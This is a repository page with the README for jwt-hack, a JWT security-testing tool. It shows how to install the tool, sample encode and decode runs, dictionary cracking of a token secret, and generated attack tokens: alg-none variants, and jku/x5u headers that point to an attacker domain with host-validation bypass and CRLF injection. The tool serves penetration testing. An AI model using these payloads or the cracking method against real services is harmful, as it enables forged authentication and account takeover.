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https://github.com/hahwul/jwt-hack

🔩 jwt-hack is tool for hacking / security testing to JWT. Supported for En/decoding JWT, Generate payload for JWT attack and very fast cracking(dict/brutefoce)
https://github.com/hahwul/jwt-hack

bugbounty cracking hacking hacktoberfest jwt payload-generator security testing-tools tool

Last synced: about 1 month ago
JSON representation

🔩 jwt-hack is tool for hacking / security testing to JWT. Supported for En/decoding JWT, Generate payload for JWT attack and very fast cracking(dict/brutefoce)

Host: GitHub
URL: https://github.com/hahwul/jwt-hack
Owner: hahwul
License: mit
Created: 2020-07-02T16:17:09.000Z (over 4 years ago)
Default Branch: main
Last Pushed: 2024-05-21T15:01:06.000Z (7 months ago)
Last Synced: 2024-10-25T01:32:38.109Z (about 2 months ago)
Topics: bugbounty, cracking, hacking, hacktoberfest, jwt, payload-generator, security, testing-tools, tool
Language: Go
Homepage:
Size: 171 KB
Stars: 757
Watchers: 16
Forks: 102
Open Issues: 7
Metadata Files:
- Readme: README.md
- Funding: .github/FUNDING.yml
- License: LICENSE
- Security: SECURITY.md

Awesome Lists containing this project

awesome-bugbounty-tools - jwt-hack - jwt-hack is tool for hacking / security testing to JWT. (Miscellaneous / JSON Web Token)
WebHackersWeapons - jwt-hack - hack is tool for hacking / security testing to JWT. Supported for En/decoding JWT, Generate payload for JWT attack and very fast cracking(dict/brutefoce)|![](https://img.shields.io/github/stars/hahwul/jwt-hack?label=%20)|[`jwt`](/categorize/tags/jwt.md)|![linux](/images/linux.png)![macos](/images/apple.png)![windows](/images/windows.png)[![Go](/images/go.png)](/categorize/langs/Go.md)| (Weapons / Tools)
awesome-hacking-lists - hahwul/jwt-hack - 🔩 jwt-hack is tool for hacking / security testing to JWT. Supported for En/decoding JWT, Generate payload for JWT attack and very fast cracking(dict/brutefoce) (Go)

README

Hack the JWT(JSON Web Token)

## Installation
### from the source
```
go install github.com/hahwul/jwt-hack@latest
```

### homebrew
```
brew tap hahwul/jwt-hack
brew install jwt-hack
```

### snapcraft
```
sudo snap install jwt-hack
```

## Usage
```
d8p 8d8 d88 888888888 888 888 ,8b. doooooo 888 ,dP
88p 888,o.d88 '88d ______ 88888888 88'8o d88 888o8P'
88P 888P`Y8b8 '888 XXXXXX 88P 888 88PPY8. d88 888 Y8L
88888' 88P YP8 '88p 88P 888 8b `Y' d888888 888 `8p
-------------------------
Hack the JWT(JSON Web Token) | by @hahwul | v1.0.0

Usage:
jwt-hack [command]

Available Commands:
crack Cracking JWT Token
decode Decode JWT to JSON
encode Encode json to JWT
help Help about any command
payload Generate JWT Attack payloads
version Show version

Flags:
-h, --help help for jwt-hack
```

![1414](https://user-images.githubusercontent.com/13212227/97078000-8a023900-1623-11eb-844f-ee92399be392.png)

## Encode mode(JSON to JWT)
```
▶ jwt-hack encode '{"json":"format"}' --secret={YOUR_SECRET}
```

e.g
```
▶ jwt-hack encode '{"test":"1234"}' --secret=asdf
d8p 8d8 d88 888888888 888 888 ,8b. doooooo 888 ,dP
88p 888,o.d88 '88d ______ 88888888 88'8o d88 888o8P'
88P 888P`Y8b8 '888 XXXXXX 88P 888 88PPY8. d88 888 Y8L
88888' 88P YP8 '88p 88P 888 8b `Y' d888888 888 `8p
-------------------------
INFO[0000] Encoded result algorithm=HS256
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXN0IjoiMTIzNCJ9.JOL1SYkRZYUz9GVny-DgoDj60C0RLz929h1_fFcpqQA
```

## Decode mode(JWT to JSON)
```
▶ jwt-hack decode {JWT_CODE}
```

e.g
```
▶ jwt-hack decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

d8p 8d8 d88 888888888 888 888 ,8b. doooooo 888 ,dP
88p 888,o.d88 '88d ______ 88888888 88'8o d88 888o8P'
88P 888P`Y8b8 '888 XXXXXX 88P 888 88PPY8. d88 888 Y8L
88888' 88P YP8 '88p 88P 888 8b `Y' d888888 888 `8p
-------------------------
INFO[0000] Decoded data(claims) header="{\"alg\":\"HS256\",\"typ\":\"JWT\"}" method="&{HS256 5}"
{"iat":1516239022,"name":"John Doe","sub":"1234567890"}
```

## Crack mode(Dictionary attack / BruteForce)
```
▶ jwt-hack crack -w {WORDLIST} {JWT_CODE}
```

e.g
```
▶ jwt-hack crack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.5mhBHqs5_DTLdINd9p5m7ZJ6XD0Xc55kIaCRY5r6HRA -w samples/wordlist.txt

d8p 8d8 d88 888888888 888 888 ,8b. doooooo 888 ,dP
88p 888,o.d88 '88d ______ 88888888 88'8o d88 888o8P'
88P 888P`Y8b8 '888 XXXXXX 88P 888 88PPY8. d88 888 Y8L
88888' 88P YP8 '88p 88P 888 8b `Y' d888888 888 `8p
-------------------------
[*] Start dict cracking mode
INFO[0000] Loaded words (remove duplicated) size=16
INFO[0000] Invalid signature word=fas
INFO[0000] Invalid signature word=asd
INFO[0000] Invalid signature word=1234
INFO[0000] Invalid signature word=efq
INFO[0000] Invalid signature word=asdf
INFO[0000] Invalid signature word=2q
INFO[0000] Found! Token signature secret is test Signature=Verified Word=test
INFO[0000] Invalid signature word=dfas
INFO[0000] Invalid signature word=ga
INFO[0000] Invalid signature word=f
INFO[0000] Invalid signature word=ds
INFO[0000] Invalid signature word=sad
INFO[0000] Invalid signature word=qsf
...
INFO[0000] Invalid signature word=password
INFO[0000] Invalid signature word=error
INFO[0000] Invalid signature word=calendar
[+] Found! JWT signature secret: test
[+] Finish crack mode
```

## Payload mode(Alg none attack, etc..)
```
▶ jwt-hack payload {JWT_CODE}
```

for jku and x5u (what is? [readme this slide](https://www.slideshare.net/snyff/jwt-jku-x5u))
* `--jwk-attack` : A attack payload domain for jku&x5u (e.g hahwul.com)
* `--jwk-trust` : A trusted domain for jku&x5u (e.g google.com)
* `--jwk-protocol` : jku&x5u protocol (http/https) (default "https")

e.g
```
▶ jwt-hack payload eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.5m9zFPGPU0LMdTTLCR7jXMP8357nNAa0z8ABJJE3r3c --jwk-attack attack.hahwul.com --jwk-protocol https --jwk-trust trust.hahwul.com

INFO[0000] Generate none payload header="{\"alg\":\"none\",\"typ\":\"JWT\"}" payload=none
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate NonE payload header="{\"alg\":\"NonE\",\"typ\":\"JWT\"}" payload=NonE
eyJhbGciOiJOb25FIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate NONE payload header="{\"alg\":\"NONE\",\"typ\":\"JWT\"}" payload=NONE
eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate jku + basic payload header="{\"alg\":\"hs256\",\"jku\":\"attack.hahwul.com\",\"typ\":\"JWT\"}" payload=jku
eyJhbGciOiJoczI1NiIsImprdSI6ImF0dGFjay5oYWh3dWwuY29tIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate jku host validation payload header="{\"alg\":\"hs256\",\"jku\":\"https://trust.hahwul.comZattack.hahwul.com\",\"typ\":\"JWT\"}" payload=jku
eyJhbGciOiJoczI1NiIsImprdSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbVphdHRhY2suaGFod3VsLmNvbSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate jku host validation payload header="{\"alg\":\"hs256\",\"jku\":\"https://[email protected]\",\"typ\":\"JWT\"}" payload=jku
eyJhbGciOiJoczI1NiIsImprdSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbUBhdHRhY2suaGFod3VsLmNvbSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate jku host header injection (w/CRLF) payload header="{\"alg\":\"hs256\",\"jku\":\"https://trust.hahwul.com%0d0aHost: attack.hahwul.com\",\"typ\":\"JWT\"}" payload=jku
eyJhbGciOiJoczI1NiIsImprdSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbSUwZDBhSG9zdDogYXR0YWNrLmhhaHd1bC5jb20iLCJ0eXAiOiJKV1QifQ==.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate x5u + basic payload header="{\"alg\":\"hs256\",\"x5u\":\"attack.hahwul.com\",\"typ\":\"JWT\"}" payload=x5u
eyJhbGciOiJoczI1NiIsIng1dSI6ImF0dGFjay5oYWh3dWwuY29tIiwidHlwIjoiSldUIn0=.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate x5u host validation payload header="{\"alg\":\"hs256\",\"x5u\":\"https://trust.hahwul.comZattack.hahwul.com\",\"typ\":\"JWT\"}" payload=x5u
eyJhbGciOiJoczI1NiIsIng1dSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbVphdHRhY2suaGFod3VsLmNvbSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate x5u host validation payload header="{\"alg\":\"hs256\",\"x5u\":\"https://[email protected]\",\"typ\":\"JWT\"}" payload=x5u
eyJhbGciOiJoczI1NiIsIng1dSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbUBhdHRhY2suaGFod3VsLmNvbSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.

INFO[0000] Generate x5u host header injection (w/CRLF) payload header="{\"alg\":\"hs256\",\"x5u\":\"https://trust.hahwul.com%0d0aHost: attack.hahwul.com\",\"typ\":\"JWT\"}" payload=x5u
eyJhbGciOiJoczI1NiIsIng1dSI6Imh0dHBzOi8vdHJ1c3QuaGFod3VsLmNvbSUwZDBhSG9zdDogYXR0YWNrLmhhaHd1bC5jb20iLCJ0eXAiOiJKV1QifQ==.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhBSFdVTCIsInJlZnJlc2hfdG9rZW4iOiJhYmNkMTIzNDU0NjQiLCJpYXQiOjE1MTYyMzkwMjJ9.
```